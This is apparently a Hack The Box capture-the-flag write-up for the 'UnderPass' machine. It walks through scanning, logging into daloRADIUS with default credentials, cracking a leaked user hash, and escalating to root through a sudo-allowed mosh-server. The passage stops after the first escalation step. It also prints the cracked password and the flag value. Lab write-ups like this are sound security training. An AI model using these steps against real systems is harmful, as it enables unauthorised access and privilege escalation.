UnderPass is an easy-difficulty machine from Hack The Box dealing initially with an exposed Daloradius instance where we can use default credentials to gain Administrator privileges and exfiltrate a userβs hash thatβll allow us to get user flag. Weβll then abuse sudo privileges on mosh-server by taking the key and connecting to the instance thatβs running with high privileges to gain root access.
UnderPass-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
PS C:\Users\foued> nmap -A-Pn10.10.11.48 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-0110:17 W. Central Africa Standard Time Nmap scan report for10.10.11.48 Host is up (0.47s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 25648:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA) |_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in79.77 seconds
We can see that we have our usual ssh 22 port and a web application deployed on port 80.
Using feroxbusted we identified that there is a daloradius instance which is an advanced RADIUS web management application for managing hotspots and general-purpose ISP deployments. Looking at the app source code on github we can identify potential endpoints, one interesting one was /daloradius/app/operators: Daloradius instance
Looking for default credentials for this instance we can find administrator:radius, we try it and weβre in: Daloradius instance
And thatβs where we can find the hash for svcMosh user: 412DD4759978ACFCC81DEAB01B382403 We can instantly go to https://crackstation.net/ and weβll crack the hash over there: underwaterfriends, we can now use these credentials to login as ssh and claim our user flag:
1 2 3 4 5
svcMosh@underpass:~$ id uid=1002(svcMosh) gid=1002(svcMosh) groups=1002(svcMosh) svcMosh@underpass:~$ cat user.txt bbfc40fc1389516f00b23bcb62c85872 svcMosh@underpass:~$
Privilege Escalation - Mosh server abuse
Now looking at what we can execute as sudo with svcMosh:
1 2 3 4 5 6
svcMosh@underpass:~$ sudo -l Matching Defaults entries for svcMosh on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost: (ALL) NOPASSWD: /usr/bin/mosh-server
We can see that we can execute /usr/bin/mosh-server as sudo.
What we can do is simply run sudo /usr/bin/mosh-server and on another ssh session run MOSH_KEY=<mosh-key-value> mosh-client 127.0.0.1 60001 to get root access: Step 1:
1 2 3 4 5 6 7 8 9 10 11 12 13
svcMosh@underpass:~$ sudo /usr/bin/mosh-server
MOSH CONNECT 60001 gb2KiBoIqYfjTKQs0Z4pxA
mosh-server (mosh 1.3.2) [build mosh 1.3.2] Copyright 2012 Keith Winstein <[email protected]> License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.